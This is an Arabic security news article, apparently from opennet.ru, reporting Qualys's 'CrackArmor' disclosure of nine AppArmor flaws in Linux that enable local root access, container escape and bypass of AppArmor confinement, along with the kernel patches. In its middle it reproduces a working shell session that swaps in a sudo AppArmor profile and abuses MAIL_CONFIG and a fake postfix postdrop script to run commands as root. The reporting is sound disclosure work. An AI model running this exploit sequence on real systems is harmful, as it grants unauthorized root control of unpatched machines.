حددت شركة Qualys تسع ثغرات أمنية في نظام التحكم الإلزامي بالوصول AppArmor، أخطرها تلك التي تسمح لمستخدم محلي غير مُصرَّح له بالحصول على صلاحيات الجذر، والهروب من الحاويات المعزولة، وتجاوز القيود التي يفرضها AppArmor. وقد أُطلق على هذه الثغرات اسم CrackArmor. ولم تُخصَّص لها مُعرِّفات CVE بعد. وقد تم إثبات نجاح هجمات تصعيد الصلاحيات في نظامي Ubuntu 24.04 و Debian 13.
توجد ثغرات أمنية في وحدة AppArmor LSM منذ إصدار نواة لينكس 4.11 عام 2017، وتؤثر هذه الثغرات على توزيعات لينكس التي تستخدم AppArmor، مثل أوبونتو، وديبيان، وأوبن سوزي، وسوزي (بدءًا من أوبن سوزي/سوزي 16، يتم تفعيل SELinux افتراضيًا، لكن AppArmor يبقى خيارًا متاحًا). تم تقديم تصحيحات لمعالجة هذه الثغرات إلى مطوري نواة لينكس، وسيتم إصدارها للمستخدمين خلال الأيام القادمة ضمن تحديثات الإصدارات 6.18.18، و6.19.8، و6.12.77، و6.6.130، و6.1.167، و5.15.203، و5.10.253. كما يتضمن تحديث حزمة نواة أوبونتو اليوم هذا الإصلاح. في غضون ذلك، أصدرت أوبونتو تحديثات لحزم sudo و sudo-ldap و util-linux (التي تتضمن أداة su)، لإصلاح الثغرات التي سمحت باستغلال ثغرة AppArmor. وتستعد دبيان لإصدار تحديث مماثل.
تنشأ هذه المشاكل من ثغرة أمنية أساسية في AppArmor تُعرف باسم "confused-deputy"، تسمح للمستخدمين غير المصرح لهم بتحميل واستبدال وحذف أي ملفات تعريف AppArmor. يمكن استغلال هذه الثغرة مباشرةً لتعطيل حماية البرامج والخدمات من الهجمات المحلية والبعيدة (عن طريق كتابة ملفات وهمية مثل /sys/kernel/security/apparmor/.load و .replace و .remove، على سبيل المثال، لإزالة القيود في cupsd و rsyslogd)، والتسبب في هجمات حجب الخدمة (باستخدام ملفات تعريف deny)، وتجاوز قيود مساحة الاسم (عن طريق تحميل ملف تعريف AppArmor جديد باسم "userns"، على سبيل المثال، لـ /usr/bin/time، مما يسمح بإنشاء مساحات أسماء مستخدمين غير محدودة).
تتيح إمكانية استبدال ملفات تعريف AppArmor الحصول على صلاحيات الجذر عن طريق ربط ملفات تعريف جديدة بأدوات ذات صلاحيات عالية مثل su و sudo، مما يمنع الوصول إلى بعض استدعاءات النظام. وبالتحديد، يمكن الحصول على صلاحيات الجذر عن طريق تعطيل عملية setuid (CAP_SETUID) لأداة sudo، بالإضافة إلى تعديل متغير البيئة MAIL_CONFIG لتغيير الدليل الذي يحتوي على إعدادات البريد. الخادم بوستفيكس.
تستخدم هذه الطريقة الأمر sudo لإرسال بريد إلكتروني إلى المسؤول عند حدوث مشاكل، وذلك بتشغيل الأمر /usr/sbin/sendmail. وبتعطيل خاصية تفريغ الصلاحيات، يمكن تشغيل هذه العملية بصلاحيات المستخدم الجذر. وبضبط متغير البيئة MAIL_CONFIG قبل تشغيل sudo، يمكنك تمرير إعدادات أخرى إلى sendmail، بما في ذلك تحديد معالج postdrop مخصص ليتم تشغيله عند إرسال البريد. $ mkdir /tmp/postfix $ cat > /tmp/postfix/main.cf << "EOF" command_directory = /tmp/postfix EOF $ cat > /tmp/postfix/postdrop << "EOF" #!/bin/sh /usr/bin/id >> /tmp/postfix/pwned EOF $ chmod -R 0755 /tmp/postfix $ apparmor_parser -K -o sudo.pf << "EOF" /usr/bin/sudo { allow file, allow signal, allow network, allow capability, deny capability setuid, } EOF $ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace Password: $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever sudo: PERM_SUDOERS: setresuid(-1, 1, -1): العملية غير مسموح بها sudo: تعذر فتح /etc/sudoers: العملية غير مسموح بها sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: العملية غير مسموح بها sudo: خطأ في تهيئة إضافة التدقيق sudoers_audit $ cat /tmp/postfix/pwned uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
تتضمن الطرق الأخرى لرفع مستوى الصلاحيات استغلال الثغرات الأمنية في كود AppArmor الذي يعمل على مستوى نواة لينكس. يُوضح هذا المقال كيفية الحصول على صلاحيات الجذر باستخدام ثغرات ناتجة عن تنفيذ دالة free() مرتين، والوصول إلى ذاكرة مُحررة مسبقًا (استخدام بعد التحرير) في كود تحميل واستبدال ملفات تعريف المستخدم في AppArmor. على سبيل المثال، يخزن AppArmor ملف تعريف في بنية aa_loaddata، التي تُخصص ذاكرتها في ذاكرة التخزين المؤقت kmalloc-192. قد تؤدي حالة التزامن إلى الوصول إلى الذاكرة التي تشغلها هذه البنية بعد تحريرها. يمكن استغلال هذه الثغرة للتحكم في الذاكرة المُحررة، وإعادة تخصيص صفحة الذاكرة المُحررة لربط محتويات ملف /etc/passwd، واستبدال سلسلة كلمة مرور الجذر.
المصدر: opennet.ru
